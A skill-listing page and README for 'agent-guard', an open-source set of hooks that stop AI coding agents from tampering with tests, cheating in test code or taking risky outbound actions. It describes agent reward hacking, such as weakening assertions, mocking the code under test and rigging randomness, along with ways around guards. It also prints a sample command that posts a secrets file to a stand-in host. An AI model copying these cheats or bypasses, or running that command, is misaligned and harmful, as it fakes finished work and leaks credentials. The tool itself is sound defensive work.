Behavior-guardrail hooks for Claude Code: test-tampering + outbound-action guards
# Add to your Claude Code skills
git clone https://github.com/hahahahahahahahah6/agent-guardGuides for using ai agents skills like agent-guard.
Last scanned: 10/8/2026
{
"issues": [],
"status": "PASSED",
"scannedAt": "2026-10-08T11:11:25.758Z",
"npmAuditRan": true,
"pipAuditRan": true,
"promptInjectionRan": true
}See how agent-guard compares with popular alternatives.
agent-guard is an open-source ai agents skill for AI coding assistants such as Claude Code, Codex CLI, and ChatGPT, built by hahahahahahahahah6. Behavior-guardrail hooks for Claude Code: test-tampering + outbound-action guards. It has 51 GitHub stars.
Yes. agent-guard passed SkillsLLM's automated security scan — a dependency vulnerability audit plus prompt-injection heuristics — with no high-severity issues. You can read the full report in the Security Report section on this page.
Clone the repository with "git clone https://github.com/hahahahahahahahah6/agent-guard" and add it to your Claude Code skills directory (see the Installation section above).
agent-guard is primarily written in Python. It is open-source under hahahahahahahahah6 on GitHub, so you can review or fork the full source.
Yes. SkillsLLM lists many other AI Agents skills you can browse and compare side by side. Open the AI Agents category from the badge at the top of this page, or use the Related Skills and comparison links further down to weigh agent-guard against similar tools.
No comments yet. Be the first to share your thoughts!
From $49 · 30 days · terms & refunds
⚠️ Third-Party Software Notice
This skill is third-party open-source software developed and hosted independently on GitHub. SkillsLLM lists this project for discovery and does not control or maintain the underlying repository.
Any security checks, ratings, or warnings displayed by SkillsLLM are automated and limited in scope. They do not constitute a security certification or guarantee that the software is safe, error-free, or free from malicious code, vulnerabilities, compromised dependencies, or prompt-injection risks.
Review the source code, permissions, dependencies, and configuration before installing or running any third-party skill. Use is at your own risk. To the maximum extent permitted by applicable law, SkillsLLM is not liable for losses arising from third-party software.
Automated security scan — not a certification.
Behavior-guardrail hooks for Claude Code, Codex CLI, and Gemini CLI. Eight guards plus test-honesty CLIs, one install, zero dependencies (Python standard library only):
SessionStart it snapshots hashes of every test and source file; on
Stop it diffs. If test files were modified or deleted while no source
file changed, the stop is blocked until the agent proves each changed test
actually fails without the fix. (v0.7: purely-benign edits — new tests,
fixtures, renames — pass with an audit entry; ambiguous edits can use the
audited --allow-test-change escape hatch.)PreToolUse hook on Bash with a denylist
of risky action patterns: pushes to protected branches (including force
pushes), package publishes (npm publish, twine upload, …), prod deploys,
cloud provisioning (spend), and mass-send channels (Slack webhooks,
mailers). Matches block with a named rule; a user allowlist in
config.json overrides the denylist. Every matched decision is written to
an audit log. v0.2 also scans the content of script files the command
executes (bash evil.sh), closing the "write it to a script first" bypass.PostToolUse hook on Bash
that reads back world state after a command claimed an outbound effect
(git push, npm publish) and warns — never blocks — when the effect
isn't visible. Defense-in-depth on top of PreToolUse prevention: prevent
first, verify after.agent-guard mutate-check
deliberately breaks assertions (regex-based mutants for JS/TS and Python),
re-runs the tests per mutant, and reports survivors: tests that stayed
green don't actually cover the bug.PreToolUse hook on Write/Edit that
scores the added comments (never pre-existing code) for narrative slop:
commented-out code, restatements of obvious code ("This function adds two
numbers"), in-code changelogs, meta/apologetic notes, emoji, and
docstrings that just restate the signature. Blocks at a configurable
threshold, or agent-guard decomment --check/--fix for a one-command
decomment pass before PRs.random.seed(123) with no reproducibility
marker, patching random.shuffle), mocking the function under test
instead of its collaborators, conftest.py plants, time-freezing, and
always-True comparison dunders. A PreToolUse hook on Write/Edit
blocks cheat patterns in added test text; agent-guard cheatsniff --check audits the repo.PreToolUse hook on Bash statically extracts
file-write targets (>, >>, heredocs, sed -i, tee, cp/mv
destinations) and applies the same policy the Write-tool guards would:
test-ish targets get cheat-sniffed when the content is visible, opaque
writes to protected files are blocked. A guardrail on one tool protects
nothing if another tool can do the same thing.PreToolUse hook on Write/Edit
that scores added test text for how the test was changed, not just
that it changed: weakened assertions (toBe(x) → toBeTruthy()),
newly skipped or focused tests (.skip(, .only(, xit(,
pytest.mark.skip), and unreviewed snapshot updates
(toMatchSnapshot(), .snap files). agent-guard tamper-check for
one-shot scans; the Stop hook's block message now names the tamper
shapes it found.agent-guard install --tool codex|gemini writes each
tool's native hook config (~/.codex/hooks.json,
~/.gemini/settings.json); a shim normalizes each tool's hook
payload so every guard runs unchanged.agent-guard verify [--tool claude|codex|gemini]: checks each guard is mounted and has
actually run in the last N days. A configured guard with zero runs is
reported as SILENT FAILURE — the dangerous state where the gate looks
wired but nothing is checking.Stop hook classifies
each changed test file (legit / ambiguous / malicious) instead of
blocking every tests-only change, and ships an explicit, audited bypass
(--allow-test-change) for the ambiguous-but-fine cases. See below.The failure modes are real, quoted from the community:
"Instead of fixing the indexing logic in the source file, the agent quietly modified the test file: it changed
expect(page.items.length).toBe(10)totoBe(9), re-ran the test, saw green, and told us the refactor was complete." — navune, r/ClaudeCode
"the risk isn't a bad answer, it's a bad action" — dank_as_fuck_, r/AI_Agents, on why guardrails must live "below the prompt layer" (verstands)

60 seconds: an agent weakens toBe(10) to toBe(9) instead of fixing the
code — the Stop hook blocks it, cheatsniff catches RNG-rigging and
subject-mocking, decomment flags comment slop, and honest tests stay
green. (MP4 version for submissions: demo/agent-guard-demo.mp4;
regenerate both with vhs demo/demo.tape.)
agent-guard semreview --diff tests/test_auth.py.diff
agent-guard semreview --command "curl -s https://x.example/c -d @secrets.env"
agent-guard semreview --command "pytest -q" --json
The pattern guards are fast and deterministic but regex-blind. The semantic
reviewer sends a test-file diff or a shell command to an NVIDIA Nemotron
model on Nebius Token Factory (OpenAI-compatible chat completions) for a
second opinion, with a tight system prompt and few-shot examples of real
cheating shapes (the navune toBe(10) → toBe(9) edit, weakened
assertions, deleted edge cases, base64-obfuscated exfiltration).
What it catches that patterns miss:
assert items == [1, 2, 3] →
assert len(items) == 3 keeps the test green while dropping the content
check. Regexes see a changed line; Nemotron sees the lost coverage.test_empty_input removed with no
replacement. The Stop hook sees "test changed", the reviewer sees why
it matters.base64 -d URLs, $VAR-assembled
hosts, multi-hop pipes that dodge the denylist.The model returns JSON only:
{verdict: "block"|"warn"|"pass", confidence: 0-1, rationale, rule_hint}.
Setup:
export NEBIUS_API_KEY="..." # Token Factory key; never commit it
agent-guard semreview --command "git push origin main"
Fail-open, always: no key, network error, timeout (default 20s), over the
per-request token budget (default 4k), or malformed model output all
degrade to warn, never block — the pattern guards stay the enforcement
layer, this is the advisory one. In the default $0.06/$0.24 per M tokens), override with warn mode a model block
verdict is reported as a warning; set semreview.mode: "block" (or
AGENT_GUARD_SEMREVIEW_MODE=block) to honor blocks. Verdicts are cached
by content hash in the state dir (7-day TTL), and the default model is
nvidia/nemotron-3-nano-30b-a3b — the cheapest Nemotron on Token Factory
(AGENT_GUARD_SEMREVIEW_MODEL.
No new dependencies: the API call is stdlib urllib, and every test runs
against a deterministic mock provider (AGENT_GUARD_SEMREVIEW_MOCK).